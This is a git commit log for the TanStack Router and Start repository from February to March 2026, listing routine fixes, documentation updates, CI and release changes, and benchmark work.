Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-03-24 23:54:00 +01:00
Aditya Vyas
2e8d89fdb2
docs(start): fix the broken logo urls for Railway in the hosting guide (#7015) 2026-03-25 10:22:39 +13:00
Birk Skyum
b1c0f4602d
chore: upgrade tooling to typescript 6 (#7024) 2026-03-23 22:59:52 +01:00
Tanner Linsley
837917a40c docs: add router events guide 2026-03-23 12:59:21 -06:00
Szymon Kurek
8d5ea2d24e
docs: use @tanstack/cli to create tanstack/router app (#7008) 2026-03-23 18:54:46 +01:00
Tanner Linsley
212a3ca904 docs: add router events guide 2026-03-23 11:06:40 -06:00
github-actions[bot]
bb3b8e4b06 ci: changeset release 2026-03-23 15:26:46 +00:00
Birk Skyum
d81d21ad05
feat: transformAssets (#7023) 2026-03-23 16:14:49 +01:00
github-actions[bot]
d0516afc90 ci: changeset release 2026-03-23 13:17:41 +00:00
huseeiin
6077120efa
fix: vite preview streaming (#6828)
---------

Co-authored-by: Birk Skyum <birk.skyum@pm.me>
2026-03-23 14:05:00 +01:00
Manuel Schiller
6164816414
feat: transformAssets (#7009)
* feat: transformAssets

replaces transformAssetUrls

* fix

* fix
2026-03-22 20:25:12 +01:00
Flo
b9f9ea15b6
test: broaden client-nav benchmark coverage (#7010) 2026-03-22 13:10:11 +01:00
github-actions[bot]
67d9e69d72 ci: changeset release 2026-03-22 09:30:34 +00:00
Flo
c9e18555f3
fix: strip invariant and warning strings from prod bundles (#7007) 2026-03-22 10:27:08 +01:00
Manuel Schiller
d7445e048d
fix: better react HMR (#7005)
* fix: better react HMR

* layout and fixes

* fix

* stabilize test

* stabilize test
2026-03-21 18:06:31 +01:00
Flo
0d11d5e494
fix(solid-router): avoid HeadContent remounts on history.replaceState (#6998) 2026-03-21 07:01:05 +01:00
github-actions[bot]
e71040784a ci: changeset release 2026-03-21 00:31:01 +00:00
Manuel Schiller
9351e99796
fix: Fix React Fast Refresh state preservation for auto code-split ro… (#7000) 2026-03-21 01:27:50 +01:00
github-actions[bot]
21e39bde08 ci: changeset release 2026-03-20 10:36:00 +00:00
Flo
91cc62899b
chore: update TanStack store packages to 0.9.2 (#6993) 2026-03-20 11:33:30 +01:00
autofix-ci[bot]
9ae24efcd5
ci: apply automated fixes 2026-03-20 10:04:10 +00:00
Rob Ballou
13d314ece4
docs: update search parameters guide for zod v4 (#6956) 2026-03-20 11:02:50 +01:00
Antony Garand
80de7a9cd7
Tanstack start docs: fix nodejs link for bun (#6992) 2026-03-20 10:51:12 +01:00
github-actions[bot]
423be8af4b ci: changeset release 2026-03-20 09:35:55 +00:00
Flo
054523900b
refactor: signal based reactivity (#6704) 2026-03-20 10:33:28 +01:00
Flo
7f38aac99b
chore: migrate benchmarks to Vite 8 (#6986) 2026-03-19 20:03:32 +01:00
github-actions[bot]
4fd92fd717 ci: changeset release 2026-03-19 18:10:20 +00:00
Birk Skyum
0f585d5289
fix(start-plugin-core): improve rollupOptions/rolldownOptions handling (#6985) 2026-03-19 19:07:41 +01:00
github-actions[bot]
5accb6f86d ci: changeset release 2026-03-19 14:10:42 +00:00
Birk Skyum
e5d23ecd5c
fix(router-cli): pass process.argv to yargs to fix silent CLI failure (#6981) 2026-03-19 14:49:29 +01:00
Ahmed Zougari
8d9988a054
docs: update the scratch guide to be compatible with Vite 8 (#6976) 2026-03-19 02:38:54 +01:00
github-actions[bot]
86ea33c476 ci: changeset release 2026-03-18 17:13:16 +00:00
Birk Skyum
5ff4f0b8dc
chore: bump esbuild to 0.27.4 (#6975) 2026-03-18 18:09:49 +01:00
Birk Skyum
aaf764bcee
docs: @tailwindcss/vite to 4.2.2 in examples (#6974) 2026-03-18 17:40:04 +01:00
Birk Skyum
3b8ab0fa6b
docs: add devcontainer.json to all e2e/examples (#6972) 2026-03-18 15:43:14 +01:00
Birk Skyum
ea6bd001ea
docs: add devcontainer to solid/start-basic example (#6971) 2026-03-18 15:16:48 +01:00
Birk Skyum
dc1eb04fc2
docs: add devcontainer config (#6970) 2026-03-18 15:10:30 +01:00
Birk Skyum
b065aee927
ci: include chore in release notes (#6966) 2026-03-18 01:55:52 +01:00
Birk Skyum
5a23ce28fe
ci: guard against shell injection (#6965) 2026-03-18 01:48:56 +01:00
Birk Skyum
3a32ad6cfb
ci: pnpm changeset pre enter pre (#6964) 2026-03-18 01:38:02 +01:00
Birk Skyum
1340197f63
ci: support semver breaking changes (#6963) 2026-03-18 01:32:18 +01:00
Birk Skyum
cd7116b53b
ci: only main branch should have latest tag (#6962) 2026-03-18 01:17:06 +01:00
Birk Skyum
75686c6123
docs: add tutorial section for solid (#6961) 2026-03-17 23:29:59 +01:00
Birk Skyum
6db686a37e
docs: fix start cli create commands (#6959) 2026-03-17 22:50:06 +01:00
Birk Skyum
7d936c6c36
docs: update examples/e2e to vite 8 (#6958) 2026-03-17 20:37:11 +01:00
github-actions[bot]
ba95e2cc66 ci: changeset release 2026-03-17 17:37:37 +00:00
Birk Skyum
6651473d02
feat(vite-plugin-core): Spport both Vite 7 (rollupOptions) and Vite 8 (rolldownOptions) (#6955) 2026-03-17 18:35:17 +01:00
Lachlan Collins
3bc18d4623
ci: bump @tanstack/vite-config (#6951) 2026-03-17 23:55:48 +11:00
Lachlan Collins
d296252f73
ci: update github workflows (#6952) 2026-03-17 23:52:11 +11:00
Lachlan Collins
97dc9f66f3
ci: add back upsert-pr-comment (#6948) 2026-03-17 22:40:28 +11:00
Lachlan Collins
13ef4c2e7c
ci: move changeset-version to shared config (#6944)
* ci: move changeset-version to shared config

* Always comment versions
2026-03-17 14:14:30 +11:00
github-actions[bot]
8f54d112b9 ci: changeset release 2026-03-16 23:09:00 +00:00
Tanner Linsley
d6371529b5
fix: write static server function cache to correct output directory with Nitro (#6940)
* fix: write static server function cache to correct output directory with Nitro

TSS_CLIENT_OUTPUT_DIR was baked in via Vite's define at config time, before
Nitro's configEnvironment hook changed the client build.outDir. This caused
staticServerFnCache files to be written to dist/client/ instead of
.output/public/.

- Remove TSS_CLIENT_OUTPUT_DIR from compile-time define in start-plugin-core
- Set it as a runtime env var in prerender.ts using the resolved output dir
- Guard server-side cache writes on TSS_CLIENT_OUTPUT_DIR being set
- Add e2e test for static server functions with Nitro

* fix: remove dynamic Link to nonexistent route to fix tsc --noEmit
2026-03-16 16:56:29 -06:00
Tanner Linsley
940151cbed
feat: add @tanstack/intent AI agent skills for Router and Start (#6866)
* feat: add @tanstack/intent AI agent skills for Router and Start

Add SKILL.md files across 11 packages to help AI coding agents generate
correct TanStack Router and Start code. Skills cover common patterns,
API usage, and failure modes that agents frequently get wrong.

Packages with skills:
- router-core (10 skills): core concepts, search/path params, navigation,
  data loading, auth/guards, code splitting, not-found/errors, type safety, SSR
- react-router (3): React bindings, Router+Query composition, migration from React Router
- start-client-core (6): Start setup, server functions, middleware,
  execution model, server routes, deployment
- react-start (2): React Start bindings, migration from Next.js
- virtual-file-routes (1): programmatic route tree building
- router-plugin (1): bundler plugin configuration
- start-server-core (1): server-side runtime
- solid-router (1): Solid bindings
- vue-router (1): Vue bindings
- solid-start (1): Solid Start bindings
- vue-start (1): Vue Start bindings

Each package includes bin/intent.js shim, _artifacts/ metadata, and
@tanstack/intent devDependency.

* fix: address PR review comments on skill files

- Fix incorrect createTanstackRouter → createRouter in router-query examples
- Fix missing React type imports (ComponentPropsWithoutRef, FormEvent)
- Fix hardcoded localhost:3000 in SSR example, use req headers instead
- Fix session.update/clear to use await with data payload
- Fix start-setup → start-core slug mismatch in domain_map + skill_spec
- Make start-client-core skill_tree self-contained (remove react-start refs)
- Add framework-agnostic comments to execution-model and middleware skills
- Make virtual-file-routes vite example framework-agnostic
- Fix solid-router domain_map: Link is primary, createLink for wrappers
- Fix vue-router domain_map: scope Ref unwrapping to script, not templates
- Fix vue-router SKILL.md: tsx → vue fence language for template snippets
- Fix virtual-file-routes domain_map failure mode wording
- Fix MD028 blockquote blank lines across 11 files
- Fix MD040 missing fence languages across 4 files
- Update pnpm-lock.yaml

* fix: address review feedback and audit all 28 skills against source

- Address all 9 Sheraff review comments (ensureQueryData, auth patterns,
  open redirect, useLocation migration, reusable components, zodValidator)
- Address all 11 actionable CodeRabbit comments (naming collisions,
  framework-agnostic comments, missing imports, bin/intent.js error handling)
- Full source-verified audit of all 28 skills across 7 re-audited packages
- Fix solid-start: add HydrationScript, move HeadContent to body, use
  shellComponent pattern
- Fix solid-router: useLoaderDeps returns Accessor<T>, ScrollRestoration
  deprecated, add missing hooks/components
- Fix vue-router: useLinkProps returns LinkHTMLAttributes, useLoaderDeps
  returns Ref<T>, fix split-file convention
- Fix start-server-core: correct file path, server fn prefix, getValidatedQuery
  API, add createServerFn imports to all examples
- Fix router-core skills: preloadStaleTime wording, loader route param,
  error retry pattern, search-params adapter scoping
- All 28 skills pass @tanstack/intent validate

* chore: add changeset for intent skills feature
2026-03-16 16:54:37 -06:00
autofix-ci[bot]
8afd52b12b
ci: apply automated fixes 2026-03-16 12:03:58 +00:00
Birk Skyum
b520b37715
ci: changeset preview workflow (#6937) 2026-03-16 13:02:43 +01:00
github-actions[bot]
268bff22e5 ci: changeset release 2026-03-15 23:14:51 +00:00
Manuel Schiller
32fcba7b04
fix: Fix retained promise refs (#6929) 2026-03-16 00:00:40 +01:00
github-actions[bot]
a0a6aa8b8a ci: changeset release 2026-03-15 22:42:25 +00:00
Birk Skyum
838b0eb9a8
build: update to vite-config 0.5.x (rolldown) (#6926) 2026-03-15 23:39:00 +01:00
Birk Skyum
6d093505fb
ci: skip tests in release workflow when no changesets are present or src file changed (#6930) 2026-03-15 23:33:57 +01:00
Ahmed Zougari
ac775f5dee
docs: remove react-oxc plugin suggestion(deprecated) (#6927) 2026-03-15 22:02:42 +01:00
github-actions[bot]
91d10855e8 ci: changeset release 2026-03-15 15:30:04 +00:00
Birk Skyum
ef9b241f3c
build: update to @tanstack/vite-config v0.4.3 (#6923)
* move to vite-config 0.4.3

* changeset

* fix typo in the changeset

* patch vite-config to use module: 100

* Update patch file

* Fix lockfile

---------

Co-authored-by: Lachlan Collins <1667261+lachlancollins@users.noreply.github.com>
2026-03-16 02:27:24 +11:00
Birk Skyum
215cab47e8
chore: inlcude build in github changelog 2026-03-15 00:50:04 +01:00
Soheil
29c0201441
docs: import defaultRenderHandler instead of renderRouterToString in … (#6776)
docs: import defaultRenderHandler instead of renderRouterToString in ssr.md 

example using defaultRenderHandler imports renderRouterToString instead of defaultRenderHandler

Co-authored-by: Nico Lynzaad <44094871+nlynzaad@users.noreply.github.com>
2026-03-14 13:31:45 +02:00
github-actions[bot]
66637b25dd ci: changeset release 2026-03-14 11:26:02 +00:00
Cornelius
bb122e0379
docs: Update README for translated pathnames (#6888) 2026-03-14 13:08:19 +02:00
Amos Bastian
bfd6e62780
fix: add xmlns:xhtml to generated sitemap (#6920)
* fix: add xmlns:xhtml to sitemap

* chore: add changeset

* Apply suggestions from code review

---------

Co-authored-by: SeanCassiere <33615041+SeanCassiere@users.noreply.github.com>
2026-03-15 00:07:30 +13:00
SeanCassiere
773c7c9cb9
chore: generate route-tree for all sandboxes
a recent change to generator, meant that all the sandboxes had their route-trees files being out-of-date
2026-03-14 23:28:51 +13:00
Nathaniel John Tampus
e2811d39f6
docs(start): update Nitro instructions for v3 beta (#6896)
* docs: update Nitro instructions for v3 beta

* docs: move nitro to dev dependencies

* Apply @seancassiere suggestions from code review

Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>

---------

Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
2026-03-14 22:52:56 +13:00
Nathaniel John Tampus
8e7a94266d
chore(examples): update Nitro to v3 beta (#6899) 2026-03-14 22:52:36 +13:00
github-actions[bot]
ec7e8c5f6a ci: changeset release 2026-03-14 07:51:21 +00:00
autofix-ci[bot]
9db4463228
ci: apply automated fixes 2026-03-14 07:48:35 +00:00
Manuel Schiller
93061952f3 fix changeset 2026-03-14 08:47:09 +01:00
Manuel Schiller
6f297a2494
feat: add staleReloadMode (#6921)
* feat: add staleReloadMode

* update

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-03-14 08:41:38 +01:00
github-actions[bot]
79cd4d5afa ci: changeset release 2026-03-13 20:27:11 +00:00
Manuel Schiller
6069eba643
fix: hoist inline component definitions for proper React HMR (#6919)
* fix: hoist inline component definitions for proper React HMR

this reverts #6197 and implements a proper fix

fixes #6339

* add changeset
2026-03-13 21:24:40 +01:00
Santosh Yadav
80c3196246
docs: fix partner logos in README (#6908) 2026-03-14 08:02:21 +13:00
Nathaniel John Tampus
ee3d2bdce3
docs(start): update path aliases config for Vite 8 (#6918) 2026-03-14 07:52:42 +13:00
Birk Skyum
32497be9c8
test: migrate lint from tanstack/config to tanstack/eslint-config (#6915) 2026-03-13 03:02:00 +01:00
Birk Skyum
4e465e93b3
ci: only include 'feat', 'fix', 'perf', 'refactor' in changelog (#6914) 2026-03-13 01:05:11 +01:00
github-actions[bot]
8404c8e256 ci: changeset release 2026-03-12 23:45:27 +00:00
Birk Skyum
6da5c64100
fix(start-static-server-functions): adjust start peerDeps to workspace:^ (#6913) 2026-03-13 00:42:42 +01:00
Lachlan Collins
77bd44dee5
ci: fix changesets experimental options (#6912) 2026-03-13 09:53:14 +11:00
Birk Skyum
daa2ab9886
use semantic commit for improved github release changelog (#6909) 2026-03-12 21:47:17 +01:00
Birk Skyum
576b5acd87
chore: tweak prerelease flow (#6906) 2026-03-12 17:37:35 +01:00
Birk Skyum
9f2795a779
fix: resolve author from PR links in GitHub release changelog (#6898) 2026-03-11 22:00:24 +01:00
Birk Skyum
bb291c68aa
improve github release changelog (#6897) 2026-03-11 21:55:41 +01:00
github-actions[bot]
3a2d74227f ci: changeset release 2026-03-11 19:37:00 +00:00
Manuel Schiller
9a4d924d2b
fix: keep CSS when referenced both statically and dynamically (#6891)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-03-11 20:30:18 +01:00
Birk Skyum
986776cd27
make changeset publishing more robust (#6895) 2026-03-11 20:27:52 +01:00
Birk Skyum
ab46b5ec42
automatic github releases creation from changeset (#6894) 2026-03-11 20:14:43 +01:00
Birk Skyum
044fb24d26
auto update workspace deps used in examples (#6892) 2026-03-11 19:40:41 +01:00
Dmitrii
870cf28066
chore(examples): remove stale delay slider reference from with-trpc example (#6876)
* fix(examples): remove stale delay slider reference from with-trpc example

* fix(examples): also remove preload state slider text from with-trpc example

---------

Co-authored-by: sleitor <sleitor@users.noreply.github.com>
Co-authored-by: Dmitrii Troitskii <jsleitor@gmail.com>
2026-03-11 12:50:31 +13:00
Birk Skyum
97cee95647
Migrate repo to changesets (#6837) 2026-03-11 00:00:51 +01:00
Tanner Linsley
7706e3f540 release: v1.166.7 2026-03-10 19:25:59 +00:00
Flo
dadf7e9d9d
fix(router-core): null prototype input/output objects (#6882) 2026-03-10 20:22:35 +01:00
Flo
d306d58a21
chore(eslint): remove package-level unused-vars overrides (#6782) 2026-03-10 00:09:44 +01:00
Tanner Linsley
964cae0224 release: v1.166.6 2026-03-09 22:26:01 +00:00
Manuel Schiller
b7def82c7d
fix: ensure lazy error component is preloaded (#6875) 2026-03-09 23:04:09 +01:00
Tanner Linsley
eff48535d5 release: v1.166.5 2026-03-09 21:55:03 +00:00
Flo
065e4ec11e
fix(solid-router,vue-router): re-build next location on params,search,hash changes (#6865) 2026-03-09 22:51:44 +01:00
Tanner Linsley
6438c03b2f release: v1.166.4 2026-03-09 19:17:52 +00:00
Manuel Schiller
31ed0a9648
fix: don't re-execute stale loaders on unrelated location changes (#6867)
* fix: don't re-execute stale loaders on unrelated location changes

* lint

* remove loaderKeyChanged

* from last

* inline staleMatchShouldReload

* update tests

* add test

* fix

* revert
2026-03-09 20:02:35 +01:00
Birk Skyum
2f35f93312
chore: bump h3 and srvx (#6869)
* bump h3 v2 to rc 16

* bump srvx to 0.11.9

* lockfile
2026-03-09 12:50:41 +01:00
Daniele
e5e0e79682
docs: update cli instruction (#6810) 2026-03-09 00:38:15 +01:00
Tanner Linsley
88fcbec986 release: v1.166.3 2026-03-08 13:32:59 +00:00
Flo
7003ccb50f
fix(react-router): correct useLoaderDeps structural sharing types (#6860) 2026-03-08 14:30:13 +01:00
Flo
446d7973cf
test: cover Solid SSR route error rendering (#6854)
test: cover solid SSR route error rendering
2026-03-08 10:11:30 +01:00
Flo
637f38c407
test: add useLocation structural sharing regression coverage (#6853) 2026-03-08 10:09:43 +01:00
Flo
2534508a5d
test: cover vue Link transition slot state (#6852) 2026-03-08 10:05:34 +01:00
Chapman Cheng
4ea2a62787
docs: Update route file name in routing concepts (#6807)
fix: Update route file name in routing concepts

The code block title `src/routes/posts.tsx` does not match against the line above `posts.$postId.tsx`

This pr fixes this typo
2026-03-07 03:19:13 +01:00
Flo
b46b2eef67
test: faster benchmark ci (#6834) 2026-03-06 18:10:09 +01:00
Flo
023fdfd152
benchmarks: bundle client-nav runtimes (#6832) 2026-03-06 13:27:01 +01:00
Flo
cc12980e16
test: fix vue viewTransition e2e flakiness (#6830) 2026-03-06 00:06:20 +01:00
Vitor Hilário
64dee75088
docs(start): add dynamic middleware section with authorization example (#6815)
* docs(start): add dynamic middleware section with authorization example

* docs(start): rename dynamic middleware to middleware factories

* ci: apply automated fixes

* docs(start): fix authMiddleware snippet in authorization example under middleware factories

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-03-05 19:46:46 +01:00
Tanner Linsley
861f319bbe release: v1.166.2 2026-03-04 20:37:33 +00:00
Manuel Schiller
9c81d5ac57
fix: handle beforeLoad throwing notFound correctly (#6811) 2026-03-04 21:34:28 +01:00
Nicolas Beaussart
9f35318c41
chore: ensure no nx cloud is used for benchmark (#6817)
skip nx cache on sub workflows
2026-03-04 01:01:34 +01:00
Flo
7083bcbecb
test: refactor client-nav benchmarks for flame profiling (#6816) 2026-03-04 00:44:12 +01:00
Flo
2217f7c3f1
test: client nav benchmark can detect granular re-rendering changes (#6808) 2026-03-03 15:22:34 +01:00
Flo
33188782e1
test: add cross-framework SSR request-loop benchmarks (#6803) 2026-03-03 10:45:15 +01:00
Flo
1acc8eaf3a
test: add cross-framework client navigation benchmarks (#6800) 2026-03-02 21:23:53 +01:00
Tanner Linsley
c40bf25df0 release: v1.166.1 2026-03-02 00:01:26 +00:00
Manuel Schiller
545c721c0d
fix: skip missing CSS modules in cache during style collection (#6798) 2026-03-02 00:49:50 +01:00
Tanner Linsley
ac16aecc0f release: v1.166.0 2026-03-01 23:47:59 +00:00
Manuel Schiller
816d0d1a08
feat: allow to configure dev ssr style injection (#6797) 2026-03-02 00:45:49 +01:00
Flo
5f7e9e872b
test: add onRendered event coverage for param and search updates (#6794) 2026-03-01 18:43:11 +01:00
Tanner Linsley
8fb4d3f73a release: v1.165.0 2026-03-01 17:37:51 +00:00
Manuel Schiller
d445986542
feat: support split base and basepath in TanStack Start dev server (#6792) 2026-03-01 18:35:46 +01:00
Tanner Linsley
5a625b2f52 release: v1.164.1 2026-03-01 13:58:03 +00:00
Julius Marminge
e979285ebb
fix: throw 405 response instead of 500 internal error on method mismatch (#6091)
Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
2026-03-01 14:44:40 +01:00
Tanner Linsley
15fe30d41d release: v1.164.0 2026-03-01 02:32:52 +00:00
Manuel Schiller
6f477b7870 fix generator 2026-03-01 03:17:39 +01:00
Manuel Schiller
190edb1a8d
feat: allow to set extension for route imports in generator (#6790) 2026-03-01 03:08:23 +01:00
Tanner Linsley
5362746356 release: v1.163.5 2026-03-01 01:35:21 +00:00
Manuel Schiller
1b52dae97e
fix: prevent virtual sibling routes from being incorrectly nested by path prefix (#6789) 2026-03-01 02:33:04 +01:00
Tanner Linsley
146c1e609e release: v1.163.4 2026-03-01 00:35:01 +00:00
Manuel Schiller
b2a71ee211
fix: alias and namespace import support for import protection (#6784) 2026-03-01 01:32:50 +01:00
Tanner Linsley
de66f0e0a0 release: v1.163.3 2026-02-27 22:13:46 +00:00
Dmitrii
442ada1f64
fix(router-core): use routeId for lifecycle hooks to fix onStay when loaderDeps change (#6769) 2026-02-27 22:53:20 +01:00
Flo
d958ef18d8
fix(ci): harden bundle-size PR workflow trust boundaries (#6773) 2026-02-27 20:12:13 +01:00
Tanner Linsley
c4027b6a79 release: v1.163.2 2026-02-25 08:26:16 +00:00
Flo
6b42138998
fix(router-core): tanstack/store v0.9 requires createStore instead of new Store (#6759)
Co-authored-by: Sheraff <florian.pellet@ensc.fr>
2026-02-25 09:23:42 +01:00
Tanner Linsley
19b8bca704 release: v1.163.1 2026-02-25 01:10:32 +00:00
Manuel Schiller
c099ebf204
fix: don't rely on syntheticNamedExports in import protection (#6758) 2026-02-25 02:08:23 +01:00
Tanner Linsley
e5cb8ccc9a release: v1.163.0 2026-02-24 23:53:13 +00:00
Manuel Schiller
95761bc4e3
feat: add excludeFiles to import-protection (#6757)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-02-25 00:50:40 +01:00
Valerii Petryniak
9a4161acff
docs: Fix frontmatter title field (#6753)
Fix frontmatter title field
2026-02-24 20:28:51 +01:00
Tanner Linsley
30fdeab01b release: v1.162.9 2026-02-24 12:50:58 +00:00
Flo
f58d457542
fix(react-router,solid-router,vue-router): correct preload triggers for "intent" option (#6747) 2026-02-24 13:48:43 +01:00
JongKyung Lee
9fd7fb95c6
docs(router): add MaskOptions to Navigation documentation (#6625) 2026-02-24 20:06:53 +13:00
combab0
623cbb0de4
docs(router): fix typo in the path param guide for complex suffixes (#6738) 2026-02-24 19:56:39 +13:00
Tanner Linsley
ea31c50be9 release: v1.162.8 2026-02-23 22:16:33 +00:00
Flo
09405b22cc
fix: delay focus intent preload and clear on blur across adapters (#6744) 2026-02-23 23:03:46 +01:00
Tanner Linsley
2c1eb71ac4 release: v1.162.7 2026-02-23 20:50:55 +00:00
Manuel Schiller
851967c8b0
fix: import protection robustness (#6746)
* fix: import protection robustness

* handle onViolation in prod, make it potentially async

* review
2026-02-23 21:43:49 +01:00
Tanner Linsley
c137bbc249 release: v1.162.6 2026-02-23 16:37:33 +00:00
Flo
343f8a8ff9
refactor(router-core,react-router,solid-router,vue-router): Remove long strings from production bundle (#6740) 2026-02-23 17:23:46 +01:00
Tanner Linsley
54e69075c3 release: v1.162.5 2026-02-23 16:14:51 +00:00
Flo
14b5499dbc
fix(router-core): dehydrate SSR match IDs with non-path encoding (#6742) 2026-02-23 17:12:40 +01:00
Manuel Schiller
d6af3a28c3
chore: cleanup unused exports (#6735) 2026-02-23 00:19:06 +01:00
Tanner Linsley
eefcb5f9a6 release: v1.162.4 2026-02-22 22:51:07 +00:00
Manuel Schiller
eeb8c5594b
fix: remove router context caching (#6734) 2026-02-22 23:48:33 +01:00
Tanner Linsley
951134aa97 release: v1.162.3 2026-02-22 21:29:12 +00:00
Manuel Schiller
53eb52abda
fix: avoid false positives in import protection (#6732) 2026-02-22 22:21:17 +01:00
Tanner Linsley
a562eb496b release: v1.162.2 2026-02-22 08:42:04 +00:00
Flo
63e9e71991
refactor(router-core): remove unnecessary interpolatePath() in buildLocation (#6721) 2026-02-22 09:28:25 +01:00
Tanner Linsley
3710720cd9 release: v1.162.1 2026-02-21 21:59:16 +00:00
Flo
41528ea196
ci: remove fork guard from bundle-size PR comment step (#6728)
ci: allow fork PR bundle-size comments
2026-02-21 22:56:29 +01:00
Manuel Schiller
fdb8d2e604
fix(router-core): don't set isServer if NODE_ENV test (#6727)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-02-21 22:47:06 +01:00
Tanner Linsley
da9c863b21 release: v1.162.0 2026-02-21 21:13:32 +00:00
Manuel Schiller
996e182844
fix(start): prevent false positives for transitively resolved imports… (#6722)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-02-21 22:11:03 +01:00
Ulrich Stark
1870dc744f
docs: fix grammar and remove duplicate words (#6726) 2026-02-21 21:53:10 +01:00
Flo
b8f166506d
fix(ci): use benchmark-action name input (#6725)
fix(ci): use benchmark action input name
2026-02-21 19:36:23 +01:00
Flo
d8171c3994
feat(benchmarks): add file-based bundle-size suite + PR trend reporting (#6723) 2026-02-21 19:28:30 +01:00
Zwel
8e26a04f1f
fix(examples): change opacity-1 to opacity-100 in spinner component (#6678) 2026-02-21 19:28:09 +01:00
Tanner Linsley
5fcf33e871 release: v1.161.4 2026-02-21 11:18:59 +00:00
Abhisar Mehta
608007acdf
fix(router): catch stringifyParams errors and render errorComponent (#6718) 2026-02-21 12:06:18 +01:00
Ulrich Stark
ad0beaf95b
chore: remove unnecessary type assertions (#6365)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-02-21 11:29:18 +01:00
Ulrich Stark
31ae74fc72
docs: fix syntax error in create-route-property-order.md (#6711)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-02-21 03:47:05 +01:00
Birk Skyum
63f804a439
build(router-devtools-core): forward compat to vite 8 (#6717) 2026-02-20 21:14:32 +01:00
Sean Cassiere
8bdf8d6df7
docs: move the react-only guides to top-level and restrict in config.json (#6713)
Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
2026-02-20 22:45:33 +13:00
Birk Skyum
4def459cb6
testing(vite-ecosystem-ci): add vite as direct dev depencency (#6709) 2026-02-20 01:58:27 +01:00
Manuel Schiller
4ec6f50d3b
chore: stabilize tests (#6492) 2026-02-20 01:11:21 +01:00
JongKyung Lee
33f253eaff
docs: clarify that location hash excludes the leading # (#6707) 2026-02-20 01:05:54 +01:00
Tanner Linsley
5a8fc3e682 release: v1.161.3 2026-02-20 00:01:06 +00:00
Manuel Schiller
f453943df5
fix: avoid false positives in import-protection plugin (#6708) 2026-02-20 00:50:05 +01:00
Ulrich Stark
c87d84893b
docs: fix syntax error in create-route-property-order.md (#6699)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-02-19 23:56:55 +01:00
Ulrich Stark
149e760255
docs: add NotFoundError to lint exceptions and fix wording (#6701) 2026-02-19 23:55:46 +01:00
Flo
c3ad063785
chore: migrate to @tanstack/store 0.9.1 (#6691) 2026-02-19 22:26:59 +01:00
Birk Skyum
965d95f3b8
chore: bump srvx 0.11.2 -> 0.11.7 (#6705)
srvx 0.11.7
2026-02-19 21:41:56 +01:00
Tanner Linsley
988577a8ae release: v1.161.2 2026-02-19 07:41:42 +00:00
Flo
6d465bcceb
fix(eslint-plugin-router): support ESLint v10 (#6696) 2026-02-19 08:39:31 +01:00
Birk Skyum
923fe9c5af
chore: disable Nx cloud cache for vite ecosystem ci (#6695)
skip cloud cache for vite ecosystem ci
2026-02-18 16:59:52 +01:00
Tanner Linsley
6dfef62add release: v1.161.1 2026-02-18 08:58:14 +00:00
Flo
99e3025650
fix(react-router): keep relative link active when changing inherited param (#6689) 2026-02-18 09:56:01 +01:00
Tanner Linsley
d5e5fbea6b release: v1.161.0 2026-02-18 00:19:12 +00:00
Manuel Schiller
711f3b858e
feat: import protection (#6688) 2026-02-18 01:16:30 +01:00
Flo
0f4584b6bf
chore: migrate Nx to 22.5.1 (#6682)
chore(nx): upgrade to 22.5.1
2026-02-17 22:58:15 +01:00
Pavan Shinde
c96fe3dc9f
docs: fix useCanGoBack link path (#6684) 2026-02-18 02:07:47 +13:00
Tanner Linsley
08a2d090be release: v1.160.2 2026-02-16 19:28:33 +00:00
Manuel Schiller
5d667aa436 fix test 2026-02-16 20:17:27 +01:00
Manuel Schiller
27a563ea1d
fix: script hydration (#6681) 2026-02-16 19:22:09 +01:00
Tanner Linsley
c7bf332590 release: v1.160.1 2026-02-16 18:12:43 +00:00
Manuel Schiller
227dfaf21b
fix: prevent var name clash in generated route for escaped strings (#6680) 2026-02-16 19:10:54 +01:00
Stefan Ollinger
cf5a26984d
docs: Fixed filenames (#6675)
Fixed filenames
2026-02-15 22:27:26 +01:00
Flo
bab64df13b
chore(agents): encourage using nx and pnpm instead of direct execution, add instruction for sandboxed execution (#6671) 2026-02-15 17:28:37 +01:00
SeanCassiere
027dc05817
docs(eslint): update installation to use unified tabbed markup 2026-02-16 00:11:24 +13:00
Sean Cassiere
e8c5dd0b11
docs(router): restructure docs to use the unified markdown syntax (#6665)
* docs: move overview page

* docs: move all top-level guides to use generic syntax

* make comparison generic

* apply coderabbit suggestions

* docs: move installation guides

* docs: move integrations

* docs: move routing

* docs: move router reference api

* docs: move guides

* docs: fixup links to guides from api reference

* docs: other fixups

* build(llms): LLM generation to account for doc structure change
2026-02-15 21:00:22 +13:00
Tanner Linsley
02d88bf876 release: v1.160.0 2026-02-15 07:06:53 +00:00
Flo
6ddb5867cc
feat(router-core, react-router, solid-router, vue-router): isDangerousProtocol uses customizable allowlist (#6542) 2026-02-15 08:04:28 +01:00
Tanner Linsley
c5d328adfd release: v1.159.14 2026-02-15 01:46:10 +00:00
홍규진
067951fcf0
fix(react-router): remove async/defer attributes during hydration to prevent warnings (#6479)
* fix(react-router): prevent hydration warning for async/defer scripts

Strip async, defer, and src attributes from script tags during client-side hydration to match the server-rendered output and prevent React hydration mismatch warnings.

* test(react-router): add unit and e2e tests for async script hydration

Adds unit tests to verify server output includes async/defer attributes, and e2e tests to verify no hydration warnings occur on the client.

---------

Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
2026-02-15 02:31:46 +01:00
Manuel Schiller
27d0867ff8
add internal docs for code splitting (#6661)
